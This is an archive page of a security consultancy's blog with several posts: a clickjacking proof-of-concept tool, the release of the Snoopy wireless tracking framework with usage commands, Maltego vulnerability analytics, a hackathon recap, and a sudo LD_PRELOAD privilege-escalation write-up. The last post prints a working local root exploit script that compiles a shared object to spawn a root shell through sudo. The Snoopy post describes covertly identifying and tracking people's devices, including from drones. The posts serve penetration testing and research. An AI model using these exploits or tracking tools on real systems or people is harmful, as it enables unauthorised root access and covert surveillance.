Grey bar Blue bar
Share this:

Fri, 20 Feb 2015

Demonstrating ClickJacking with Jack

Jack is a tool I created to help build Clickjacking PoC's. It uses basic HTML and Javascript and can be found on github,

To use Jack, load Jack's HTML,CSS and JS files using the method of your choice and navigate to Jack's index.html.


Jack comes with three additional pages; sandbox.html, targetLogin.html and targetRead.html. targetRead.html can be used to demonstrate Clickjacking that reads values from a page and sandbox.html is used to display the Clickjacking demonstration. Jack by default loads the "Read" html page with default CSS and Styles.

Jack allows you to configure a few parameters (X&Y positions, Style tags) that can be used to demonstrate Clickjacking. In this example, we will demostrate Clickjacking using the Google Gruyere as a target

To load your target into Jack, paste the target URL in the URL field in the configuration section and click Load as shown below:


Once Jack has loaded the target, you can specify the coordinates of your input fields and button. Jack allows you to overlay two inputs and one button (usually username & password with a submit) which can be configured. The Apply buttons allow you to apply the inputs to the elements in the index.html page, the values are automatically loaded when View is clicked. To view what your Clickjacking demo looks like with the current configuration, click the big green View button as shown below.


Positioning is crucial and we try Jack with some test values such as (161,215), (161,255) for our inputs and (322,291) for the button and view the result below by clicking View:


We now need to overlay our Clickjack inputs and buttons over the actual targets inputs and login button and make them look #legit. From our reconnaissance of the target url, we have the following style information that can help us make our inputs and button look #legit:

Input Style =

outline:none; box-shadow:none;border: none !important;height:
22px;width: 222px;background-color:#fffffcc;font-family: sans-serif;
font-size: 14pt;

Button Style=
font-family: sans-serif; font-size: 14pt;background-color: #ffffff;

These styles are inputted into the Style inputs provided in the Configuration section with our coordinates of the inputs and button as shown below:


We view the above configuration by clicking View as shown below:


The View now looks rather legit, so what now? Jack displays the username and password inputs when the login button is clicked as shown below (you can change the JavaScript payload that is executed in the provided input box):


The generated final page (sandbox.html) can either be used locally for your report screenshots, or copied (along with /static and /resources) to a web server of your choice.

Thu, 19 Jun 2014

Release the hounds! Snoopy 2.0

Friday the 13th seemed like as good a date as any to release Snoopy 2.0 (aka snoopy-ng). For those in a rush, you can download the source from GitHub, follow the file, and ask for help on this mailing list. For those who want a bit more information, keep reading.

What is Snoopy?

Snoopy is a distributed, sensor, data collection, interception, analysis, and visualization framework. It is written in a modular format, allowing for the collection of arbitrary signals from various devices via Python plugins.

It was originally released as a PoC at 44Con 2012, but this version is a complete re-write, is 99% Python, modular, and just feels better. The 'modularity' is possibly the most important improvement, for reasons which will become apparent shortly.

Tell me more!

We've presented our ongoing work with snoopy at a bunch of conferences under the title 'The Machines that Betrayed Their Masters'. The general synopsis of this research is that we all carry devices with us that emit wireless signals that could be used to:

  • Uniquely identify the device / collection of devices

  • Discover information about the owner (you!)

This new version of snoopy extends this into other areas of RFID such as; Wi-Fi, Bluetooth, GSM, NFC, RFID, ZigBee, etc. The modular design allows each of these to be implemented as a python module. If you can write Python code to interface with a tech, you can slot it into a snoopy-ng plugin.

We've also made it much easier to run Snoopy by itself, rather than requiring a server to sync to as the previous version did. However, Snoopy is still a distributed framework and allows the deployment of numerous Snoopy devices over some large area, having them all sync their data back to one central server (or numerous hops through multiple devices and/or servers). We've been working on other protocols for data synchronisation too - such as XBee. The diagram below illustrates one possible setup:

Architecture Diagram

OK - but how do I use it?

I thought you'd never ask! It's fairly straight forward.

Hardware Requirements

Snoopy should run on most modern computers capable of running Linux, with the appropriate physical adapters for the protocols you're interested in. We've tested it on:

  • Laptop

  • Nokia N900 (with some effort)

  • Raspberry Pi (SnooPi!)

  • BeagleBone Black (BeagleSnoop!)

In terms of hardware peripherals, we've been experimenting with the following:
Wi-FiAWUS 036H100m
ZigBeeDigi Xbee1km to 80kms
GSMRTL2832U SDR35kms

The distances can be increased with appropriate antennas. More on that in a later blog post.

Software Requirements

Essentially a Linux environment is required, but of more importance are the dependencies. These are mostly Python packages. We've tested Snoopy on Kali 1.x, and Ubuntu 12.04 LTS. We managed to get it working on Maemo (N900) too. We're investigating getting it running on OpenWRT/ddWRT. Please let us know if you have success.


It should be as simple as:
git clone
cd snoopy-ng
bash ./


Run Snoopy with the command 'snoopy', and accept the License Agreement. We'd recommend you refer to the file for more information, but here are a few examples to get you going:

1. To save data from the wireless, sysinfo, and heartbeat plugins locally:

snoopy -v -m wifi:iface=wlanX,mon=True -m sysinfo -m heartbeat -d <drone name> -l <location name>

2. To sync data from a client to a server:


snoopy_auth --create <drone name> # Create account
snoopy -v -m server # Start server plugin

snoopy -v -m wifi:iface=mon0 -s http://<server hostname>:9001/ -d <drone name> -l <location name> -k

Data Visualization

Maltego is the preferred tool to perform visualisation, and where the beauty of Snoopy is revealed. See the for instructions on how to use it.

I heard Snoopy can fly?

You heard right! Well, almost right. He's more of a passenger on a UAV:

There sure is a lot of stunt hacking in the media these days, with people taking existing hacks and duct-taping them to a cheap drone for media attention. We were concerned to see stories on snoopy airborne take on some of this as the message worked its way though the media. What's the benefit of having Snoopy airborne, then? We can think of a few reasons:

  1. Speed: We can canvas a large area very quickly (many square kilometres)

  2. Stealth: At 80m altitude the UAV is out of visual/audible range

  3. Security: It's possible to bypass physical security barriers (walls, men with guns, dogs)

  4. TTL (Tag, Track, Locate): It's possible to search for a known signature, and follow it

We're exploring the aerial route a whole lot. Look out for our DefCon talk in August for more details.

Commercial Use

The license under which Snoopy is released forbids gaining financially from its use (see LICENSE.txt). We have a separate license available for commercial use, which includes extra functionality such as:

  • Syncing data via XBee

  • Advanced plugins

  • Extra/custom transforms

  • Web interface

  • Prebuilt drones

Get in contact ( / if you'd like to engage with us.

Fri, 13 Jun 2014

Using Maltego to explore threat & vulnerability data

This blog post is about the process we went through trying to better interpret the masses of scan results that automated vulnerability scanners and centralised logging systems produce. A good example of the value in getting actionable items out of this data is the recent Target compromise. Their scanning solutions detected the threat that lead to their compromise, but no humans intervened. It's suspected that too many security alerts were being generated on a regular basis to act upon.

The goal of our experiment was to steer away from the usual data interrogation questions of "What are the top N vulnerabilities my scanner has flagged with a high threat?" towards questions like "For how many of my vulnerabilities do public exploits exist?". Near the end of this exercise we stumbled across this BSides talk "Stop Fixing All The Things". Theses researchers took a similar view-point: "As security practitioners, we care about which vulnerabilities matter". Their blog post and video are definitely worth having a look at.

At SensePost we have a Managed Vulnerability Scanning service (MVS). It incorporates numerous scanning agents (e.g. Nessus, Nmap, Netsparker and a few others), and exposes an API to interact with the results. This was our starting point to explore threat related data. We could then couple this data with remote data sources (e.g. CVE data, data).

We chose to use Maltego to explore the data as it's an incredibly powerful data exploration and visualisation tool, and writing transforms is straight forward. If you'd like to know more about Maltego here are some useful references:

What we ended up building were:

  • Transforms to explore our MVS data

  • A CVE / API engine

  • Transforms to correlate between scanner data and the created APIs

  • Maltego Machines to combine our transforms

So far our API is able to query a database populated from CVE XML files and data from (they were kind enough to give us access to their CVE inclusive data set). It's a standalone Python program that pulls down the XML files, populates a local database, and then exposes a REST API. We're working on incorporating other sources - threat feeds, other logging/scanning systems. Let us know if you have any ideas. Here's the API in action:

Parsing CVE XML data and exposing REST API
Parsing CVE XML data and exposing REST API

Querying a CVE. We see 4 public exploits are available.
Querying a CVE. We see 4 public exploits are available.

It's also worth noting that for the demonstrations that follow we've obscured our clients' names by applying a salted 'human readable hash' to their names. A side effect is that you'll notice some rather humorous entries in the images and videos that follow.

Jumping into the interesting results, these are some of the tasks that we can perform:

  • Show me all hosts that have a critical vulnerability within the last 30 days

  • Show me vulnerable hosts for which public exploit code exists

  • Show me all hosts for which a vulnerability exists that has the word 'jmx-console' in the description

  • Show me all hosts on in my DMZ that have port 443 open

  • Given a discovered vulnerability on a host, show me all other hosts with the same vulnerability

  • Show me a single diagram depicting every MVS client, weighted by the threat of all scans within the last week

  • Show me a single diagram depicting every MVS client, weighted by the availability of public exploit code

  • Given a CPE, show me all hosts that match it

Clicking the links in the above scenarios will display a screenshot of a solution. Additionally, two video demonstrations with dialog are below.

Retrieving all recent vulnerabilities for a client 'Bravo Tango', and checking one of them to see if there's public exploit code available.
Retrieving all recent vulnerabilities for a client 'Bravo Tango', and checking one of them to see if there's public exploit code available.

Exploring which clients/hosts have which ports open
Exploring which clients/hosts have which ports open

In summary, building 'clever tools' that allow you to combine human insight can be powerful. An experiences analyst with the ability to ask the right questions, and building tools that allows answers to be easily extracted, yields actionable tasks in less time. We're going to start using this approach internally to find new ways to explore the vulnerability data sets of our scanning clients and see how it goes.

In the future, we're working on incorporating other data sources (e.g. LogRhythm, Skybox). We're also upgrading our MVS API - you'll notice a lot of the Maltego queries are cumbersome and slow due to its current linear exploration approach.

The source code for the API, the somewhat PoC Maltego transforms, and the MVS (BroadView) API can be downloaded from our GitHub page, and the MVS API from here. You'll need a paid subscription to incorporate the data, but it's an initiative definitely worth supporting with a very fair pricing model. They do put significant effort in correlating CVEs. See this page for more information.

Do get in touch with us (or comment below) if you'd like to know more about the technical details, chat about the API (or expand on it), if this is a solution you'd like to deploy, or if you'd just like to say "Hi".

Mon, 7 Apr 2014

SenseCon 2014

What originally started as one of those "hey, wouldn't this be cool?" ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, together and in person.

A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can't be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We've put a lot of time into getting the tech and processes in place to give us the "hackers in the same room" feel, but this needs to be backed with some IRL interaction too.

People outside of our industry seem to think of "technical" people as the opposite of "creative" people. However, anyone who's slung even a small amount of code, or even dabbled in hacking will know this isn't true. We give our analysts "20% time" each month to give that creativity an outlet (or to let on-project creativity get developed further). This is part of the intention of SenseCon: a week of space and time for intense learning, building, and just plain tinkering without the stresses of report deadlines or anything else.

But, ideas need input, so we try to organise someone to teach us new tricks. This year that was done by Schalk from House 4 Hack (these guys rocks) who gave us some electronic and Arduino skills and some other internal trainings. Also, there's something about an all-nighter that drives creativity, so much so that some Plakkers used to make sure they did one at least once a month. We use our hackathon for that.

Our hackathon's setup is similar to others - you get to pitch an idea, see if you can get two other team mates on board, and have 24 hours to complete it. We had some coolness come out of this last year and I was looking forward to seeing what everyone would come up with this time round.


Copious amounts of energy drinks, snacks, biltong and chocolates were on supply and it started after dinner together. The agreed projects were are listed below, with some vagueness, since this was internal after all :)

  • pORTAL anonymous comms device - Sam & Dr Frans

Getting a modified version of Grug's pORTAL device working on a Beagle Bone and Rasperry Pi for us to use while traveling.

  • Video Conferencing - Craig and Marc

For video conferencing we normally use a combination of Skype, Go-To-Meeting, Google hangouts, or a page long gstreamer command piped over a netcat tunnel (I'm not kidding). Craig and Marc built an internal video conferencing solution with some other internal comms tools on the side.

  • SensePost Radar - Keiran and Dane

SensePost Radar
SensePost Radar

Keiran and Dane put our office discone antenna to good use and implemented some SDR-fu to pick up aeroplane transponder signals and decode them. They didn't find MH370, but we now have a cool plane tracker for SP.

  • WiFi Death Flag - Charl

Charl, so incredibly happy!!
Charl, so incredibly happy!!

Using wifi-deauth packets can be useful if you want to knock a station (or several) off a wifi network. Say you wanted to prevent some cheap wifi cams from picking you up ... Doing this right can get complicated when you're sitting a few km's away with a yagi and some binoculars. Charl got an arduino to raise a flag when it was successfully deauthed, and lower it when connectivity is restored for use in a wifi-shootout game.

  • Burp Collaboration tool - Jurgens, Johan & Willem

Inspired by Maltego Teeth, Jurgens set about building a way to have multiple analysts collaborate on one Burp session using a secure Jabber transport. He and Johan got this working well, and we will be releasing it and several other Burp apps during the ITWeb Security Summit in Johannesburg in May.

  • How to Pwn a Country - Panda and Sara

YMCA pwnage
YMCA pwnage

Panda (Jeremy) and Sara ended up building local Maltego transforms that would allow mass/rapid scanning of large netblocks so you can quickly zoom in on the most vulnerable boxes. No countries were harmed in the making of this.

  • Bender - Vladislav

While doing client-side engagements, we realised we needed our own payload to help us to better move from spear-phish to persistent internal network access. Earlier in the year, Vlad put our hacks into a professional SensePost beaconing payload he called Bender. During the hackathon he extended its capability in some key areas.

  • Oh-day stuffs - Georg and Etienne

He likes his ice-cream
He likes his ice-cream

gcp and et decided on some good ol'fashioned fuzz-n-find bug hunting on a commercial mail platform, and websense. Along the way they learned some interesting lessons in how not to fuzz, but in the end found some coolness.

  • 3d Printer - Rogan

Rogan finally got around to putting his 3D printer together! He hasn't printed an SP logo yet, but we're assuming this is the most logical first print.

  • Rogue AP - Dominic & Ian

In preparation for our BlackHat submission, singe and ian spent some time researching our new wifi attacks. This resulted in a key new finding and implementation of their new KARMA rogue-ap attack.

  • The challenge - Daniel

I too had to show that I still had tech skills (not all spreadsheeting you know) and created a challenge to send our peeps down the rabbit hole while pushing their skills but also awaken some old school hacking approaches.


The hackathon went gangbusters; most of the team went through the night and into the morning (I didn't, getting old and crashed at 2am). Returning that morning to see everyone still hacking away on their projects (and a few hacking away on their snoring) was amazing.

Once the 24-hours was up, many left the office to grab a shower and refresh before having to present to the entire company later on that afternoon.

Overall this years SenseCon was a great success. Some cool projects/ideas were born, a good time was had AND we even made Charl feel young again. As the kids would say, #winning





Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1